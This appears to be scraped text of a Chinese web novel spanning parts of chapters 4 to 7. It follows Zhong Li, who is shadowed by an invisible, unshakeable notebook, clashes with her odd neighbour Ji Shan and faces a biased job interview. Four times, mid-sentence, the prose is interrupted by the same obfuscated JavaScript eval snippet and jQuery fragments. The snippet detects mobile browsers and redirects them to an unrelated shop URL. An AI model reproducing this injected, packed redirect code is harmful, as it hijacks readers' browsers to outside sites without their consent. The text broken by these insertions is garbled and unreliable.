“小姑娘,你没看新闻啊。说是有个渣男,骗了好几个姑娘,害她们破产还负债了几十万。”
“可能是老天有眼吧,来这里旅游的时候出了车祸,脸也毁掉了,那几个小姑娘还打算告他呢。”
司机一边说一边摇头感叹:
“原本我也不太相信因果报应,这下可能真的有。”
钟励原本提起来的心这时候放下了一半,如果没有伤害到好人的话,那这笔记本也不算什么害人的东西。
她沉思在考虑要不要丢掉笔记本的时候,司机指着钟励的臂弯说道:
“小姑娘,你手这样弯着不累吗?”
弯着?她手臂上抱着笔记本啊,虽然是用黑色袋子装着。
可这是白天,不至于光线暗到看不清楚吧。
钟励移动视线,从车里的后视镜看向后座。
发现她的手臂以一个奇异的角度弯着,黑色的袋子并没有显现出来。
总的来说就是,这笔记本只有她一个人可以看到,别人看不见。
瞬间,汗毛竖起。
“小姑娘,你先下去吧。我接不了客人了,我孩子突然在学校有点事情,得赶过去。”
司机拒绝载客了。
钟励心想,没关系,有这么多种交通工具,再不济她还有一双脚,总能把笔记本丢掉吧。
她下了车走到公交站台,坐在等待的椅子上。
时间缓慢过去,钟励看了好几次时间,都没有车经过,连出租车也没有,她像是被隔绝于世的。
钟励百无聊赖打开手机刷刷帖子,一打开新闻软件就显示她等的公交因为财政紧张,取消这条路线了。
“呵。”
钟励无奈嗤笑。
一次的意外可以说是意外,但这几次了,已经不能算是偶然了吧。
她熄灭手机屏幕,低头望向手里的笔记本,小声道:
“被缠上了。”
钟励眯起眼睛,突然眼神一转,如果别人看不到这本笔记本,那是不是说明也没有其他人会捡到它。
那她还何必绞尽脑汁找地方埋掉,直接扔路边不就好了。
反正也没人看得到,不会说她是乱丢垃圾。
钟励心里有了打算,她活动了一下身体,以迅雷不及掩耳之势将手中的笔记本“啪”的一声丢在路上,然后拔腿就跑。
因为跑得突然又迅速,前脚掌卡在拖鞋口了。
所以她只能蜷缩前脚掌再跑,不然脚底会摩擦到路面。
头发乱糟糟的,拖鞋又卡住了,加上脸上狰狞的表情,和奇异的跑步姿态,路人还以为是哪家的疯子出来了。
走在路上的女人拉过正在笑嘻嘻吃冰淇淋的小女孩,小声说道:
“以后别老记着吃,要是路上看到了疯子,记得要离远一点懂不懂?”
小女孩懵懵懂懂点了点头。
钟励一边跑一边笑,“什么东西还难得住我?我可是经历过高考厮杀、毕业论文查重和毕业季秋招的。”
跑了差不多一千米,钟励发誓体测之后再没这么大的运动量。
她跑进一个巷子拐角处,钟励气喘吁吁的,微微弯着腰,双手
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14222637|151242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
搭在弯曲的膝盖上。
喉咙干痒得想吐,钟励扶着墙壁干呕了几声。
几分钟后差不多缓过来了,正当她将要露出一个胜利笑容的时候,一回头看到了已经丢掉的笔记本跟在她屁股后面。
似乎还在示威,笔记本晃动了两下,在嘲笑一个凡人居然妄图甩掉它。
“呵。”
钟励痛苦闭上双眼,喉咙里发出意义不明的哼声。
但她接受事实很快,不一会儿就收拾好了心情。
钟励背靠着墙壁,弯下腰把卡进拖鞋里的脚拔出来。
简直是使出了吃奶的力气,整张脸连同脖子都涨红了。
天大地大吃饭最大,既然木已成舟,笔记本甩不掉了。
就这样吧,她去买早餐吃了。
来都来了,来着是客嘛,她只能夹道欢迎了。
既然笔记本可以自己走路,那她也没必要抱着它了。
钟励来时横冲直撞的,回去时则悠哉游哉。
她走了两步回头看一眼,笔记本果然乖乖跟在身后。
如果不是不祥的话,其实可以当宠物的。
既不用吃饭,也不用铲屎,很适合她这种懒人。
希望量产。
小区楼下就有一家包子铺,买两个包子加豆浆,再买一碟饺子当午饭好了。
世界有一种定律,就是当你不想遇到某人的时候,你就会遇到他。
如出门丢垃圾没打扮会遇到前男友;忙完工作开始摸鱼的时候就会碰到老板。
钟励才决定要躲着新邻居纪善呢,这才第二天就又碰到了。
纪善也在早餐店里,不知道是不是有病,明明打包好了,却不走,坐在一旁,但也不吃东西。
一边是不想接近可疑的人,一边是饥肠辘辘的肚子。
钟励最后还是抵不过饥饿,她放轻脚步,慢慢走近店了,最好就是不要让纪善发现她。
可惜很多事情总是不如她的愿。
右脚刚刚跨越门槛,纪善的视线就如同一道射线扫了过来。
钟励低下头玩手机装作没看到,她以往在路上遇到半生不熟的老同学都是这样操作的。
大家也很有默契,不知道有没有看到她,反正不会打招呼。
“钟励。”
纪善站起身来喊了她的名字。
好吧她承认以往的招数在纪善面前好像不顶用。
钟励开始怀疑,纪善是不是没有经过社会化就被放出来了。
“老板,要一笼包子一笼玉米饺子和一杯豆浆,打包。”
点完单后,钟励才转过身来跟纪善打招呼。
“好巧啊,你也在。”
早餐店老板对钟励说道:
“客人,已经没有玉米饺子了,只有猪肉芹菜的,您要吗?”
“刚好最后一笼被这位小哥买走了。”
今天诸事不顺,钟励在心里想道,应该纪善是克她的。
初次见面就不喜欢的人,以后也不会喜欢的。
纪善将打包好的饺子塞到钟励手里,他面容清俊,说话声也温柔。
“昨天我吓到你了,这饺子就当我给你赔罪了。因为你不想跟我一起吃饭,我就只能这么赔偿你了。”
而后,纪善的眼神划过一丝凌厉,只听他说道:
“不过,我听过一个道理,天上没有掉下的馅饼,凡事皆要付出代价的。”
?
钟励一头雾水的,眼睁睁看着纪善说完这番莫名其妙的话离开了。
什么掉下的馅饼?
这饺子不是他自己塞给她的吗?
钟励不明所以,回到公寓后从钱包里拿出一张十块钱,然后从纪善的房门缝给他塞了进去。
当然不能忘记说明这是她给的钱,她还写了一张小纸条。
一笼饺子也才七块钱,她这给了十块钱,她还亏了呢。
给本就贫穷的她雪上加霜。
5. 第 5 章
【我老婆最爱我】:在吗?
【没回复请再戳一下】:?
【没回复请再戳一下】:这里不是某宝,不负责售后的。
对面连忙发来了好几个可爱的表情包,解释自己不是来找茬的。
他只是想给钟励介绍客户。
【我老婆最爱我】:我有个远房亲戚,去上大学后突然就变得有点神神叨叨的,还说看到了看到了,不知道是什么。希望您可以帮忙看一下。
【没回复请再戳一下】:这种情况请出门左转找别人,我不是驱邪的哈。
她使用笔记本后莫名其妙的后遗症还没解释清楚呢。
所以除非特殊情况,否则不打算再使用笔记本了。
更何况这种中邪的状况,超出她的能力范围了。
可对方不依不饶,详细说出了那个远房亲戚的情况。
跟前几天礼貌拘谨的样子完全是两个人。
难道人都会给点面子就蹬鼻子上脸的吗?
正当钟励不耐烦“啧”了一声,打算拉黑对方的时候。下一秒她瞳孔紧缩,手忙脚乱戴上放在床头柜上的眼镜,伸着脖子仔细阅览发来的消息。
【我老婆最爱我】:我这个远方亲戚呢,就读于Z市大学,18级的社会工作专业。
大学对上了,专业也对上了,入学年份也是。是她的同班同学吗?
钟励点击输入框,弹出键盘,。
【没回复请再戳一下】:还有其他的信息吗?
刚刚打字还很快的老婆哥,现在跟失踪了一样,没回复钟励的消息。
钟励也不好打草惊蛇,太着急容易看出她的在意和不对劲。
时间一分一秒过去,对面终于回复了。
【我老婆最爱我】:她叫夏曦曼。
得到确切消息的钟励放缓了呼吸,她垫着两个枕头在腰背处,随即放松躺下来。
是她的大学同学没错了。
这个破专业当初也是脑子进了水才读的,班里只有她跟夏曦曼是自愿选择的专业,其他同学都是被调剂的,所以钟励对夏曦曼有很深的印象。
想到遥远的大学时光,钟励不免柔软了心肠。
入学的前两年她过得还是很舒心的。
可她没有关于那段记忆的照片了,她全部删掉了。想再回忆起来都不可能。
她连毕业照都没有去拍。
既然当初决定要斩断一切重新开始,那现在何必又迟疑呢?
【没回复请再戳一下】:抱歉,我没办法处理这种状况,您另找高明吧。
【我老婆最爱我】:好的,打扰了。
老婆哥干脆利落的态度让钟励很意外,短时间又换了一个人格吗?
【没回复请再戳一下】:好的,祝您生活愉快。
钟励再发消息过去,发现得到的是一个红色的感叹号。
“哈?”
因为过于无语,所以没法说出什么话来。
不就是没接单吗?至于拉黑她吗?
“这人有人格分裂吧。”
钟励抿了抿嘴,不忿说道。
她从小到大都是宽厚待人,谁不说她性格好?还从来没有得到被人拉黑过的待遇呢。
钟励像条咸鱼躺在床上,眼神放空,突然一个鲤鱼打滚坐起来。她拍了拍脑袋,“昨天晚上洗的衣服还没晾呢。”
这公寓有烘干机,但她偶尔还是喜欢把衣服放到太阳底下晒。
前几天阴雨连连,带着她的心情都不太好。
现在出太阳了,心情阴转晴。
钟励拿出衣服甩了甩,冒出一句:“可以去面试了。”
她承认前几年自己有逃避的心理,得过且过。
但当她发现笔记本的功能以后,突然想开了。
以后遇到什么问题,不服就干,谁惹她,她就把谁的名字写上去。
晾好衣服后,钟励翻箱倒柜找出来正装。
她搬家后有一部分东西还没开袋,就扔在了角落里。
衬衣被揉成了一团,展开来也是皱巴巴,穿上身显得人邋邋遢遢的,不精神。
钟励视线一转,眨了眨眼。
“果然烘干机还是很有必要的。”
-
面试约在了第二天,钟励一晚上没怎么睡。
她出门前对着镜子演示和蔼亲切的笑容,但怎么看怎么假。
最终还是放弃,理了理领口就打算出门了。
刚刚拧下门把手,就听到门外也有一道同样开门的声音,刹那间,下意识的肌肉反应让钟励又关上了门。
她凑近猫眼一看,果然是饺子哥。
还好没出门,否则又要假笑寒暄了。
饺子哥腿长,加上这公寓住的人不多,很快他就搭乘电梯离开了。
钟励紧跟其后走人。
在路上的时候,钟励小心翼翼从包里掏出简历,在心里打草稿,要是HR问起来她这段时间的空白期要怎么回答?
简历上的照片还是三年前拍的了。
明明过去的自己,但有时候也会觉得像陌生人。
-
下一站就到目的地了,钟励掏出手机又确认了一遍时间跟地点,才敢走进大楼。
公司的规模不大,是个小企业。
“不是?啊?”
钟励跟在接待人员的后面,走进等待室的时候,猛地发现饺子哥也在。
纪善在她一进门的时候头就抬起来了,轻轻颔首向她打了一个招呼。钟励也点点头回应。
接待人员给了钟励一张号码牌,到时候叫号入内。
她跟纪善隔了两个人。钟励通过余光观察周围人员,纪善是其中最沉得住气的那个。
他就挺直腰背安静坐着,侧脸还能看到长翘的睫毛,他什么也不干,不像其他要面试的人,要么看看公司简介,要么小声做自我介绍。
他们没等多久,上一批面试的人就出来了。
“15到21号的面试者请进。”
钟励进去了面试室,才发现居然是群面。
希望不要是无领导小组面试,否则她真的会想一把火烧了这里。
“我们接下来进行无领导小组讨论。”
坐在最中间的面试官开口说道。
太棒了,她就知道。
凡事就没有如她意的。
钟励握拳无声锤了一下座椅把手。
面试官讲了一个题目,让他们根据这个题目进行讨论。
话音刚落,就有人带头开讲。
接着其他人陆陆续续都开口了。
钟励面无表情的,倒不是她不想讲话,只是每当她要开口说话的时候,就被人打断了。
周而复始,她觉得还是闭嘴比较合适。
而且面试的运气成分也比较高,全看面试官对你的印象。
叽叽喳喳的争吵声不绝于耳,要不是不礼貌,钟励甚至想捂住耳朵。
毕竟这么多人在你耳边大声喊,谁也吃不消。
听力受损了是不可逆的。
七个面试者,除了钟励以外,还有纪善也没开口。
他就安安静
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14222638|151242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
静坐着,双手合起来放在桌面上,微笑看着争得面红耳赤的其他人。
钟励心里一下子就踏实了。
只要有人跟你一起摆烂,你就不会太担心。
有点像上学时期迟到路上的情景,看到了同校同学,整个人都轻松了一点。
钟励趁他们说累了,胡乱掰扯了两句。
她甚至还主动cue纪善,让他也发言。
摧残人的面试终于走到尾声。
面试官居然率先对纪善开口问问题:
“15号,你觉得今天自己的表现如何?”
钟励没去听纪善的回答,而是将注意力放在了面试官身上。
三位面试官都望向了纪善,神色和善,听到纪善的回答会轻轻点头。
“还有一个问题我们实在是好奇啊,你有女朋友吗?”
纪善摇摇头,回答道:
“没有。”
纪善只穿着最普通的白衬衫,但却勾勒出他肩宽腰细的好身材。桌上放着的双手骨节分明,还能瞧见白皙皮肤下的青色脉络,一双长腿在桌下无处安放。
钟励觉得可能是自己先入为主了,听到无领导小组就觉得这家公司事多。
其实还是可以的嘛,面试官对纪善那么亲切。
接着面试官提问的下一个对象就是钟励。
“18号,你刚刚在讨论当中没有发言,是为什么?”
面试官的语气一改对纪善的亲切,带了点压迫感。
钟励呆愣了两秒钟,随即想到可能是压力测试。
她落落大方回答,只是面试官的眉头微皱。
“你有男朋友吗?”
“没有。”
“没有的话我们可能会觉得你不太稳定。”
钟励满头问号,刚刚问纪善可不是这样子的。
面试官的玻璃镜片反射着天花板上的灯光,显得愈发严厉不近人情。
“你在近一年的这段时间里,简历是空白的,是在备考吗?”
“你的年龄是25快26了,是适婚适育的年龄,我们觉得可能不太符合我们的要求。”
OK,钟励撤销回刚刚这家公司还可以的想法。
被这么逼问了,钟励也觉得这个面试大概率是失败了。
其实还是有优点的,至少直接告诉了她结果,而不是让她回去等消息。
似乎是其他面试者看出了面试官的态度,在询问觉得谁是讨论中回答得最差的人这个问题上面,都一致选择了钟励。
钟励也没想到,这辈子被坚定选择居然是在一场面试上。
差不多是躺平了,她已经在考虑中午吃什么午餐了。
区区面试,不能影响了她的胃口。
走出面试室的时候,钟励最快起身,大步迈了出去。
黑色的发丝被走动时的风速带动,飞扬起来。
“钟励,要不要一起去吃个午饭?”
纪善跟在她的后面,问道。
钟励转过身,平静的双眼定定看了纪善几秒,而后毫不留情开口拒绝:
“我不要,我要自己吃。”
她知道面试的区别对待怪不到纪善身上,但这家伙终极是吃了福利的,她越想越气,胃都气饱了。
纪善跟在钟励后面搭乘电梯,他站在她的背后,能看到钟励的身上不断溢出黑色的恶意气息。
尤其是从电梯的反光处跟他对上视线的时候,恶意多到爆炸,几乎要淹没她的整个身躯。
“果然,她就是。”
“我的预测没有错。”
6. 第 6 章
街道上熙熙攘攘,人来人往。
钟励打开手机导航,试图寻找到一家便宜的快餐店。
但她又看不懂这地图,在原地转了360度才找到方向。
这个时候恰好是中午学生放学,马路上到处都是乱窜的电动车。
钟励顶着毒辣的太阳走到没有树荫遮蔽的路口处,没几秒,她的周遭就围满了人。
除了行人以外,还有开上人行道的电动车,不断嘀嘀嘀按着刺耳的喇叭。
钟励不耐地往旁边挪动了一步,接着又被另一边的电动车滴了一声。
她没办法了回头看看电动车在哪几个位置,往后走在他们后面,反正到时候绿灯了人腿走不过轮胎,还不如等他们开走了她再动。
红灯还在倒计时剩几秒的时候,前面一些人就迫不及待骑车窜了出去。
钟励迈开步子,落后人群几步。
“嘀嘀嘀。”
突然从身后传来一道尖锐的喇叭声,吓得钟励一激灵。
钟励感受到自己的左手被牵拉着往,整个人也往左边移动了几步。
还没等她反应过来,随即一辆电动车擦肩而过,差一点就撞到她的肩膀了,车带来的风还扑在她的脸上。
绿灯快结束了,钟励来不及发火骂人,拉着刚刚救她的人走到安全的地方。主要也是因为人已经骑车走了也骂不了。
“纪善,谢谢你啊。”
钟励觉得其实纪善人还是不错的,刚刚还救了她。
之前的事情她承认是她的偏见,人总有小缺点无伤大雅。
虽然纪善有时候奇奇怪怪的不太正常,但现在年轻人有几个正常的?
只要人不做违法犯罪的事情,也就可以了。
“没关系,举手之劳。”
纪善长得高,但跟钟励说话的时候会微微低下头,她还能看到他鼻梁上的一颗小痣。
人身材高大,气质正直善良,但小痣居然给他添了几分色气,有种意想不到的反差感。
钟励是一个擅长从别人身上发现优点,并且乐于去学习的人。
既然纪善这么入面试公司的法眼,肯定有他的过人之处吧。
钟励眼珠子转了转,开口道:
“为了表示感谢,我请你喝杯咖啡吧。”
先是套近乎请他喝咖啡,再问他简历的事情,如果他是一个写简历的高手说不定还能帮她改改简历。
“好啊。”
纪善欣然应下。
钟励挑来半天附近的咖啡店,觉得请人的话不能太小气吧,可是三四十一杯咖啡,两杯都顶好几天饭钱了。她现在囊中羞涩啊。
“那个,你想喝哪家咖啡?看看有喜欢的吗?”
钟励递过自己的手机,问纪善道。
纪善偏了偏头,说道:
“你手机膜碎掉了。”
“我知道,这不重要,你要喝哪家?”
钟励心想,要是纪善选择了三四十的那家,那她也不是不可以。
她不经意用余光悄悄用余光打量了纪善几眼,男人似乎永远都气定神闲,脸上没有生气或者其他情绪,像出生的时候就被夺去了除微笑以外的所有情绪。
这一点对于打工牛马倒是很合适,钟励觉得自己很需要学学气定神闲,遇事不慌不忙的做事态度。
“我是说,你手机膜碎掉了,碎掉的地方正好在我的角度看不到上面的内容。”
“啊,这样。”
钟励尴尬笑笑,“不好意思,不好意思。我过几天就换新的。”
“就那家吧。”
纪善抬起手指了一家店,钟励顺着他的方向看过去,人均十几块一杯,可以。
进到店内后,两人落座,手机扫码下单之后,钟励开始找话题。
“你觉得今天的面试怎么办?”
纪善云淡风轻:“还好吧,面试官都挺友善的。”
这就没办法聊下去了,面试官对她可不友好啊。
这太尴尬了,钟励在学生时代都是只有女性朋友的,很少跟异性交往,也不知带改聊什么话题。
就算以往有什么聚会,也会有一个朋友一直陪在她身边,跟她说话,不会冷场。
两人沉默的间隙,咖啡做好了。
“那我去取咖啡。”
钟励慢慢悠悠端着两杯冰拿铁,玻璃杯与桌面发出“叮”的一声清脆的声音。
“你喝喝看好不好喝?”
“好苦。”
纪善喝了一口后,皱着眉头,艰难地把嘴里的咖啡咽了下去。
“你不喜欢喝咖啡?”
那她应该说去奶茶店的,也正常不是所有人都喜欢喝咖啡。
“还好,可以接受。”
纪善说是不喜欢,结果两三口一杯咖啡都快喝完了。
“那个。”
钟励搅动杯子,迟疑地开口问道:
“你的简历是怎么写的啊?”
可能他是很好的院校,也可能是有很丰富的项目经历。
虽然上述的一切钟励都没有,三无简历,但她还是打算试试看问一下。
“简历?是什么东西?”
听到纪善的回答,钟励下意识往前伸了一下脖子,扯出一个礼貌的笑容。
好拙略的回答,还简历是什么东西?
现在谁找工作不要简历?投简历后还得做一大堆测评呢?
不想说就不说,为什么要找这么生硬的借口?
“哈哈,不想说也没关系的,我就是问一下。”
钟励打算下一句话就说她有事情要先离开了,在这里两两相望也不是办法。
纪善无聊转动杯子里的冰块,与玻璃杯碰撞发出清脆的声音。
今天的光线很好,在钟励的角度,能看到纪善眼睛的颜色,是很漂亮的琥珀色。
纯真干净,一览无余。
“我真的不知道简历是什么,我没有骗你的。”
他又解释了一遍。
当然钟励是不可能相信的,除非这人被关进监狱三十年了,现在才放出来,与社会脱节了。
“那你是怎么去面试的?”
钟励面无表情问道。
既然是他非要用这个理由,那也不能怪她逼问了。
纪善摊摊手,“我只是在找我丢失的一样东西,然后路上遇到了一个老人家,他摔倒了,我就扶他起来。接着他就问我有没有兴趣去他公司上班。”
好小说一般的情节,纪善难道是什么男主吗?勾勾手就有一堆金手指。
这难道不是杂志写出来骗人的吗?
什么捡起地上的纸团后,扶起摔倒的人后,都是骗小孩的吧。
“啊,原来是这样。”
钟励皮笑肉不笑的,她开始怀疑自己的识别能力出了问题。
怎么有人在她心里的形象会一变再变?
“面试官他们对你挺好的啊。”
钟励喝完最后一口咖啡,她不是外带的包装,不然早拎着走人了。
“还好吧,我扶起的人是他们的老板,所以他们应该会对我尊重一些。”
不知道这个人在胡扯些什么。
钟励抬起眼皮,盯着纪善的眼睛。
都说眼睛的人心灵的窗户,他讲这种鬼话的时候,怎么就不会心虚呢?
“我们加个联系方
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14222639|151242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
向吧。”
纪善掏出手机说道。
钟励点点头,“好。”
“滴”的一声,彼此都加上了好友,钟励打算就此告别。
虽然他们是邻居,但她拒绝一起回家。
她希望回家的路上是放松的,但只要身边一直有人在,就还属于社交的范围。
“喵。”
一只小猫从打开的大门一溜烟窜了进来,跳到钟励跟纪善的桌子上。
“啊,是小猫。”
是一只很可爱的长毛三花猫,尾巴又大又蓬松,像松鼠尾巴,一晃一晃的。
钟励大学时期经常在学校撸猫,还加入过学校里的流浪猫协会,帮助小猫找领养。
“好可爱。”
人在跟小猫说话的时候都会忍不住夹子音的吧。
钟励慢慢伸出手,想摸一下松软的毛发,可小猫对她哈了一下,下一秒小猫一跃,跳到了纪善的膝盖上,躺下了。
其实她之前也很受小猫喜欢的欢迎吧,至少不会讨厌。
钟励垂头丧气坐了原位置,眼巴巴看着小猫趴在纪善的大腿上。
好吧,就算不能摸,看着也可以。
“要摸一下吗?”
纪善伸出手在小猫的背上一边抚摸,一边询问钟励道。
虽然钟励很心动,小猫长毛,手感一定很好。但是小猫好像讨厌她,还是不要强迫了。
“不用了,它好像不太喜欢我。”
“其实我之前不是这样的,突然他们就都不喜欢我了。”
钟励说着说着也有点心酸,总不能是她磁场改变了吧。
“没事,你试一下。”
听到别人的鼓励,加上小猫的诱惑,钟励也有点跃跃欲试了。
“我可以吗?”
三花猫乖巧趴着,一动不动的,
“可以。”
钟励伸出手又缩回去,反复了三次,还是不敢下手,她可不想被猫抓伤啊。
纪善一把握住她的手腕,以温和又强势的力度将她的手放到了猫的背上。
果然如钟励想象的那样,被阳光晒过的猫毛,柔软蓬松。
见钟励上了道,纪善松开他握着手腕的手。
下一瞬,变故突生,原本温顺沉默的三花猫突然活动起来,朝钟励伸出了锋利的爪子。
还好钟励反应快,加上她一直有做心理准备,没有被抓伤。
钟励后退了几步,心有余悸。
“没事吧。“
纪善也站了起来,三花猫跳下地面,飞快跑走了。
“没事,我可能真的不太受小动物的喜欢吧。”
钟励低着头,出门弄的高颅顶现在塌了一半,心已死。
“没事的,其实……”
“你有没有想过可能是自己的问题?”
听到纪善的话,钟励立马抬起头,锐利的视线直勾勾望过去。
“你刚刚说什么?”
一般人不是安慰人吗?他居然说是她的问题,除非下面的解释是一个冷笑话,否则是圆不回来的。
“就是,有些人可能不太善良,所以不太受欢迎。但只要积极改正,就可以回到正道。”
钟励已经彻底失去了笑容,什么叫有些人?不就是指着她骂吗?
“你是说我不善良吗?我看起来很恶毒吗?”
纪善丝毫不畏惧钟励的质问,他点点头:
“比如现在你就很讨厌我吧,你的恶意已经溢满了,要学会控制。否则容易失去自己的意识。”
钟励闭上眼,压抑心中的怒火,她掏出手机将纪善的备注改成“奇葩哥”。
小怒一下。
7. 第 7 章
第二天钟励却收到那个公司发来的offer了。
薪资算正常水平,环境也还可以。钟励面试时去探查过公司厕所的情况,有专门的阿姨打扫,很干净,空位也多。
厕所才是一个决定工作幸福感的最大因素,当然是对她这种普通薪资的人来说。
不过钟励还是压抑不住自己的好奇心,问对面的人,为什么会录用她。
得到的答案是,她通过了他们公司的压力测试。
钟励还是稀里糊涂的,不过找工作都这样,想录用你的人怎么都会录用的。
当然这句话也可以用到纪善身上。
一个没简历的人也可以被录用进去。
钟励整装待发来到新公司,一眼瞧见了具有独立办公室的纪善悠闲悠哉给自己泡咖啡。
上午的会议,老板欢迎了他们两人的入职。
一个小公司,一间会议室就容纳了全部人。
“我特别感谢这位纪善小同志,在我摔倒的时候扶了我一把,我冥冥之中有预感,他也扶住了我的财运。”
“所以,我将他聘任为我们公司的主管,主管财运。”
大老板全身都圆滚滚的,圆圆的脑袋指剩下后脑勺的那部分头发了,却用了崭新的打理手法,将后脑勺的头发全梳到前面。肚皮处的衬衫被撑得几乎要崩开。
“当然,也欢迎我们这位新来的钟励。”
大老板给了钟励一个眼神,随即又将视线收回到纪善身上。
纪善又不是什么财神,有必要到这种程度吗?
原来纪善没说谎啊,真是路上扶到一个老板,然后就入职了。
让人羡慕的运气。
原本钟励还不知道招她进来的原因呢,当她工位上摆满一摞高的文件时,她明白了。
虽然是招进来了两个人,但很显然纪善这位“财神爷”是不干活的,属于吉祥物行列。
那就只能把工作交给她来干了。
原来她还是托了纪善的福啊,怪不得说她是通过了压力测试,这也是筛选牛马的方式。
但干了三天后,钟励逐渐上手了,这都得得益于她的好同事,教了她一些技巧。
“意初姐,没有你我可怎么办呐?”
钟励从茶水间泡了两杯咖啡,将其中一杯端到莫意初的桌前。
莫意初云淡风轻,“别说漂亮话了,我还不知道你,又有哪里遇到问题了?”
“嘿嘿。”
钟励不好意思摸摸脖子笑道:
“也就一点点小问题。”
两人在讨论工作,中间还时不时夹杂着一点八卦。
“那个,打扰一下。”
同事小李迈着轻快的步伐走过来了,还挎着一个小包,妆容明艳。
只见她从包里掏出两张请柬,递给了钟励跟莫意初。
“这周末我结婚,你们一定要来哦。”
钟励僵住了嘴角,不情不愿接过了请柬。
她才上班三天啊,跟小李也才刚刚认识三天了,几乎跟陌生人没有太大区别,是怎么好意思要她份子钱的?
钟励扯出一个笑容,“恭喜恭喜。”
小李的眼睛对上钟励,温柔问道:
“小钟,你这周末有空的吧,你刚刚来,我还希望你快点融入呢。”
“哈哈哈哈哈。”
钟励一边尬笑,一边拆看请柬看了看,但一个字都没看进去。人在无助的时候小动作就会多一些。
“有空的话我会去的。”
不料小李不依不饶,几乎要怼到钟励的面前。
“周末是有什么安排吗?”
“啊?”
钟励思考了几秒,神情呆滞,头脑风暴想借口,最后她抛出一个万能回答:
“谁知道呢?你知道,意外总是预料不到的,有空的话我会去的,真的真的。”
才怪。
大几百块钱,她拿来干什么不好?再说了,她不知道什么时候就会离职,或者是小李离职,那她的份子钱岂不是要不回来了?
小李都敢厚着脸皮给她递请柬,她当然也要回报以同样的态度,不去婚礼。
小李还以为钟励年纪轻轻,会为了面子答应下来去婚礼的事情。
没想到她咬着牙不放,就是不说一个准话。
没办法小李只能离开,去给其他同事发请柬了。
对于钟励而言,什么面子里子都没有票子重要。
没想到有个同事小禾直接从钱包里拿出一沓红色的纸币就递给了小李,只听小禾说道:
“周末我有事情,去不了,只能先给份子钱了。新婚快乐。”
钟励不禁瞪大了眼睛,美女同事是无所谓这一点钱了,可苦了她这个穷鬼。
小李乐得嘴巴都合不上,转身就看向了钟励。
“小钟,你周末也没空是吗?”
钟励面无表情,她恨这个人情社会。
她皮笑肉不笑:
“我觉得还是去到现场给比较有……氛围感。”
钟励笑得跟打了肉毒杆菌一样僵硬了,门牙也因为暴露在外时间过长而失去了水分变得干燥,还凉凉的。
她势必会守护住自己的钱包。
小李还想要说些什么,下一刻被好心同事莫意初打断了。
“好了好了,人家才来三天呢,差不多得了啊。”
好心同事,仗义执言。
钟励双手合掌放在胸前,眼睛亮晶晶地望向莫意初。
小李虽然还是不甘心,但最后只能悻悻离开了。
钟励对于莫意初的崇拜已经上升到一个最高的高度了。
“意初姐,太感谢了。”
“我请你喝咖啡?吃饭?”
莫意初全部否决了钟励的提议,她摇摇头。
“要真的感谢我的话,陪我去一趟寺庙?”
钟励虽然兴致缺缺,但也同意了。
求人不如求己,求神拜佛有时候也只是一个念想,最终还得靠自己。
莫意初双手抱胸,睨了她一眼,轻飘飘抛下一句话:
“听说求财也很灵验呢,我姑夫的表妹的邻居的小姨就去寺庙后中了五百万彩票呢。”
“我去。”
钟励挺直了腰板,立刻应答。这话是动词,不是感叹词。
虽然很玄乎,但跟发财有关的一切,都值得去试一试。当然乱买彩票不行。
-
求财之旅定在了本周日,同事婚礼的后一天。
钟励换下了成套的工作服,只穿了简单的休闲装,搭配一双运动鞋。长发扎成了一个圆润的丸子头。
可能是因为找到了工作,心里不太慌张了,这几天她睡得很不错,精神饱满。
寺庙在偏僻的郊外,隐于山林。
她们来的时候是早上,雾气还没有完全散去。
钟励张开双手,整个身体呈现“大”字形,她闭上眼睛,深深吸了一口气,空气凉爽又清醒。
天
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14222640|151242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
空不时飞过几只叽叽喳喳的小鸟。
“你昨天真没去婚礼啊,勇敢。”
莫意初脸上是轻微的笑意,这话也没有嘲讽意味。
钟励挺起胸膛:“当然了,说不去就不去。才认识三天怎么可能就给份子钱了?”
钟励眼珠子一转,搂上莫意初的手臂,她甜腻说道:
“意初姐要是结婚的话,我一定去,还给大红包。”
